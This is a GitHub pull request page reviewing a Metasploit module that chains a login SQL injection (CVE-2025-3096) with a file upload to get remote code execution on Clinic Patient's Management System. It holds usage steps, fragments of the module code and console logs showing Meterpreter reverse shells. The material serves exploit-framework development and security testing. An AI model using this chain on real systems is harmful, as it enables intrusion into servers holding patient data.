Skip to content

Clinic Patient's Management System SQLi (CVE-2025-3096) #20177

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 6 commits into
base: master
Choose a base branch
from

Conversation

msutovsky-r7
Copy link
Contributor

Vulnerable Application

Clinic Patient's Management System contains SQL injection vulnerability in login section. This module uses the vulnerability (CVE-2025-3096) to gain unauthorized access to the application. As lateral movement, it uses another vulnerability (CVE-2022-2297) to gain remote code execution.

Verification Steps

Vulnerable Application Installation Setup

  1. Install Clinic's Patient Management System on your web server.

    • Download the Web Application from here
  2. Start msfconsole and load the exploit module:

   msfconsole
   use exploit/multi/http/clinic_pms_sqli_to_rce
  1. Set the required options:
   set rport <port>
   set rhost <ip>
   set targeturi /pms
  1. Check if the target is vulnerable:
   check

If the target is vulnerable, you will see a message indicating that the target is susceptible to the exploit:

   [+] <IP> The target is vulnerable.
  1. Set up the listener for the exploit:
   set lport <port>
   set lhost <ip>
  1. Launch the exploit:
   exploit
  1. If successful, you will receive a PHP Meterpreter shell.

Options

  • TARGETURI: (Required) The base path to the Clinic Patient Management System (default: /pms).

Scenarios

msf6 exploit(multi/http/clinic_pms_sqli_to_rce) > exploit
[*] Started reverse TCP handler on 192.168.168.128:4444
[*] Logged using SQL injection..
[*] Malicious file uploaded..
[*] Logged out..
[*] Logged using SQL injection..
[*] Sending stage (40004 bytes) to 192.168.168.146
[*] Meterpreter session 1 opened (192.168.168.128:4444 -> 192.168.168.146:52522) at 2025-05-13 13:33:52 +0200

meterpreter > sysinfo
Computer    : ubuntu
OS          : Linux ubuntu 6.8.0-52-generic #53~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Jan 15 19:18:46 UTC 2 x86_64
Meterpreter : php/linux

@msutovsky-r7 msutovsky-r7 changed the title Clinic Patient's Management System RCE (CVE-2025-3096) Clinic Patient's Management System SQLi (CVE-2025-3096) May 14, 2025
@jvoisin
Copy link
Contributor

jvoisin commented May 14, 2025

Is this software used/deployed in the real world™?

@msutovsky-r7
Copy link
Contributor Author

Is this software used/deployed in the real world™?

I don't think so, there's no results on Shodan. But there seems to be some "user" activity at source site.

['CVE', '2025-3096'],
['URL', 'https://www.cve.org/CVERecord?id=CVE-2022-40471'],
],
'DisclosureDate' => '2021-10-21',
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think this disclosure date is not quite correct


register_options([
OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms']),
OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', false])
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', false])
OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', true])

print_status('Checking if target is vulnerable...')

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path + '/'),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think we can get away without the + here, but I would need to verify this 👍

Suggested change
'uri' => normalize_uri(target_uri.path + '/'),
'uri' => normalize_uri(target_uri.path),

return Exploit::CheckCode::Unknown('Unexpected content of body') if res.body&.blank?
return Exploit::CheckCode::Safe('Clinic PMS not detected') unless res.body.include?("Clinic's Patient Management System in PHP")

return Exploit::CheckCode::Vulnerable('Clinic PMS detected')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I believe it would be detected as Vulnerable only after a version check:

Suggested change
return Exploit::CheckCode::Vulnerable('Clinic PMS detected')
return Exploit::CheckCode::Appears('Clinic PMS detected')

fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('location')

fail_with Failure::Unknown, 'Unknown error happened' unless res.headers['location'] == 'dashboard.php'
print_status('Logged using SQL injection..')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could we call to report_vuln to report this service as being vulnerable? 👀 You may need to also call report_service as well.
Unsure if that should go in run/check method or this method though

Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Great module @msutovsky-r7! A couple minor comments.

Testing

msf6 exploit(multi/http/clinic_pms_sqli_to_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Logged using SQL injection..
[*] Malicious file uploaded..
[*] Logged out..
[*] Logged using SQL injection..
[*] Reporting vulnerability
[*] Sending stage (40004 bytes) to 172.16.199.134
[*] Meterpreter session 3 opened (172.16.199.1:4444 -> 172.16.199.134:36072) at 

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer    : msfuser-virtual-machine
OS          : Linux msfuser-virtual-machine 6.8.0-59-generic #61~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 15 17:03:15 UTC 2 x86_64
Meterpreter : php/linux
meterpreter >


def login_sqli
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path + 'index.php'),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
'uri' => normalize_uri(target_uri.path + 'index.php'),
'uri' => normalize_uri(target_uri.path, 'index.php'),

data_post << "--#{boundary}--\r\n"

res = send_request_cgi({
'uri' => normalize_uri('/pms/update_user.php'),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
'uri' => normalize_uri('/pms/update_user.php'),
'uri' => normalize_uri(target_uri.path, '/update_user.php'),

)

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path + '/update_user.php'),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
'uri' => normalize_uri(target_uri.path + '/update_user.php'),
'uri' => normalize_uri(target_uri.path, '/update_user.php'),

fail_with Failure::PayloadFailed, 'Cannot find path to payload' if payload_path.blank?

send_request_cgi({
'uri' => normalize_uri(target_uri.path + '/' + payload_path),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
'uri' => normalize_uri(target_uri.path + '/' + payload_path),
'uri' => normalize_uri(target_uri.path, payload_path),

fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302
fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('Location')

fail_with Failure::Unknown, 'Unknown error happened' unless res.headers['Location'] == 'congratulation.php?goto_page=users.php&message=user update successfully'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
fail_with Failure::Unknown, 'Unknown error happened' unless res.headers['Location'] == 'congratulation.php?goto_page=users.php&message=user update successfully'
fail_with Failure::UnexpectedReply, 'Failed to update user when attempting to exploit' unless res.headers['Location'] == 'congratulation.php?goto_page=users.php&message=user update successfully'

include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Auxiliary::Report
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
include Msf::Auxiliary::Report
include Msf::Auxiliary::Report
prepend Msf::Exploit::Remote::AutoCheck

This module exploits an SQL injection in login portal, which allows to log in as admin. Next, it allows the attacker to upload malicious files through user modification to achieve RCE.
},
'Author' => [
'msutovsky-r7' # CVE-2025-3096, module developer
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could we add to the authors list whoever discovered the CVEs or wrote the original PoCs if possible?

'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

/var/log/apache2/access.log

172.16.199.1 - - [16/May/2025:12:51:58 -0700] "GET /clinic-pms/pms/user_images/1747425118rFrCYGBx.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (iPad; CPU OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1"
Suggested change
'SideEffects' => [ARTIFACTS_ON_DISK]
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]

fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302
fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('Location')

fail_with Failure::Unknown, 'Unknown error happened' unless res.headers['Location'] == 'index.php'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
fail_with Failure::Unknown, 'Unknown error happened' unless res.headers['Location'] == 'index.php'
fail_with Failure::UnexpectedReply, 'The Location header was not equal to \'index.php\' as expected' unless res.headers['Location'] == 'index.php'

@@ -0,0 +1,67 @@
## Vulnerable Application
Clinic Patient's Management System contains SQL injection vulnerability in login section. This module uses the vulnerability (CVE-2025-3096) to gain unauthorized access to the application. As lateral movement, it uses another vulnerability (CVE-2022-2297) to gain remote code execution.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
Clinic Patient's Management System contains SQL injection vulnerability in login section. This module uses the vulnerability (CVE-2025-3096) to gain unauthorized access to the application. As lateral movement, it uses another vulnerability (CVE-2022-2297) to gain remote code execution.
Clinic Patient's Management System contains SQL injection vulnerability in login section. This module uses the vulnerability
(CVE-2025-3096) to gain unauthorized access to the application. As lateral movement, it uses another vulnerability (CVE-2022-2297) to gain remote code execution.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
Status: Todo
Development

Successfully merging this pull request may close these issues.

4 participants